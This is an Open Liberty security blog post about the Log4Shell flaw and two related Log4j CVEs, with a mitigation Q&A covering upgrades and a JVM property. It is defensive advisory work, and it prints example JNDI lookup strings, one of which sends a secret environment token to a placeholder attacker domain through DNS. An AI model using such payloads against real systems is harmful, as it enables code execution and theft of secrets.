back to all blogsSee all blog posts

Liberty Guide on Log4j CVE-2021-44228, CVE-2021-4104 and CVE-2021-45046

image of author image of author
Emily Jiang and Alasdair Nottingham on Dec 15, 2021
announcements , security ,
Post available in languages:

In this blog, we are providing some essential guide for Open Liberty customers to understand Log4j CVE-2021-44228, CVE-2021-4104 and CVE-2021-45046 and the suggestions how to mitigate this threat.

Introduction:

On December 10th 2021 the Apache Logging project released a 2.15 release for Log4j2, a popular Java logging framework, to address a CVSS 10 scored CVE-2021-44228 known as Log4Shell. CVSS 10 is the highest severity score that can be assigned.

The Log4Shell vulnerability occurs due to a combination of a message lookup feature in Log4J V2 and how the Java Naming and Directory (JNDI) API works when connecting via LDAP. A common syntax for variable replacement in configuration is ${variable-name}, the Log4J message lookup feature enables that capability for log messages. Log4J also has a special lookup function for resolving variables from an LDAP server. The syntax for this is ${jndi:ldap://<server name>/<object name>}. When Log4J sees this string it will connect to the provided server to download the object to log the value. This will return a serialized object which the LDAP JNDI implementation will deserialize, if the JVM does not have a copy of the class for the serialized object it will use a copy available from the server.

It is very common for applications using a logging framework to log untrusted input for debugging purposes in case of a failure. Meaning if an attacker can work out an input value that will be logged by the application it can insert this string into the payload and when it is logged the Java code will download code from the server controlled by the attacker and execute it. To add to the risk present by this lookup function the lookup function is recursive allowing for data exfiltration. Data exfiltration maybe possible even if the targeted LDAP server is not reachable. For example a string like ${jndi:ldap://${env.security_token}.<attacker domain>/a} would resolve the security_token environment variable from the shell and then do a DNS lookup to resolve the IP address using the attackers controlled DNS server providing the hacker with the value of the security token.

Since the original Log4Shell Apache has issued two further CVEs affecting Log4J CVE-2021-4104 and CVE-2021-45046. As a result of this the recommendation is to upgrade all log4j usage to at least the 2.16 version.

Open Liberty does not ship log4j and as a result any data logged by Open Liberty will not put you at risk. However log4j is a widely used framework and your applications may make use of Log4J as a result we have prepared the following Q&A for developers seeking advice.

Q&A:

  • Q1. If my applications use log4j, which version of log4j should I use to be safe?

You should update the version of log4j2 to the latest version or 2.16 at a minimum. 

  • Q2. If I am running with latest version of Java, am I protected? Do I still need to follow remediate steps? 

Log4Shell (CVE-2021-44228) is a vulnerability in the log4j2 open source project. Features in the most recent releases of Java mitigate some, but not all of the risk introduced by the Log4Shell vulnerability.

  • Q3. It will take a long time to update all our applications is there anything we can do to mitigate in the meantime?

Provided log4j 2.10 or newer is being used setting the Java System property log4j2.formatMsgNoLookups to true will mitigate the Log4Shell vulnerability, but it will not protect against CVE-2021-4104 or CVE-2021-45046. It should be noted that Log4Shell is CVSS 10 and the others require non-default configuration of log4j.

  • Q4 How can I configure Liberty with log4j2.formatMsgNoLookups?

Create a jvm.options file in ${wlp.user.dir}/shared/jvm.options with -Dlog4j2.formatMsgNoLookups=true on a line by itself. Then restart all servers for it to take effect. This will apply to all servers in that user dir.

  • Q5. I cannot find org/apache/logging/log4j/core/lookup/JndiLookup.class in my log4j jar, am I vulnerable?

It is unlikely you are vulnerable. Most likely you are running log4j1 which is not vulnerable, however you will be vulnerable to CVE-2021-4104.

  • Q6. Could setting log4j2.formatMsgNoLookups=true have an effect on log4j 1.x or other non-log4j applications? Is it safe to set this parameter until we have checked every custom written part in our WAS environments? 

The setting should have no affect on non-log4j or log4j 1.x. It is a property related to log4j 2.x behavior. It also does not protect against CVE-2021-45046.

  • Q7. If I set log4j2.formatMsgNoLookups to true will it affect my application use of log4j2?

Yes, that will be visible to any and all copies of log4j2 that are in the JVM. This setting is not sufficient to protect against CVE-2021-45046.

  • Q8. We are still running our own applications on Java 7 that use log4j2, but the fixed version of log4j2 requires Java 8

The Apache Logging project released 2.12.2 which supports Java 7, upgrade to this version or a newer 3rd diget release.

  • Q9. Is IBM Java affected by this vulnerability?

IBM Java does not include the affected library, so it is not directly affected by this vulnerability. However, applications running on top of IBM Java may include vulnerable copies of the affected library and need their own remediation.

If you are WebSphere Application Server customers, please refer to this blog to learn about more on how to respond to these CVEs. You might find the following blogs to be useful: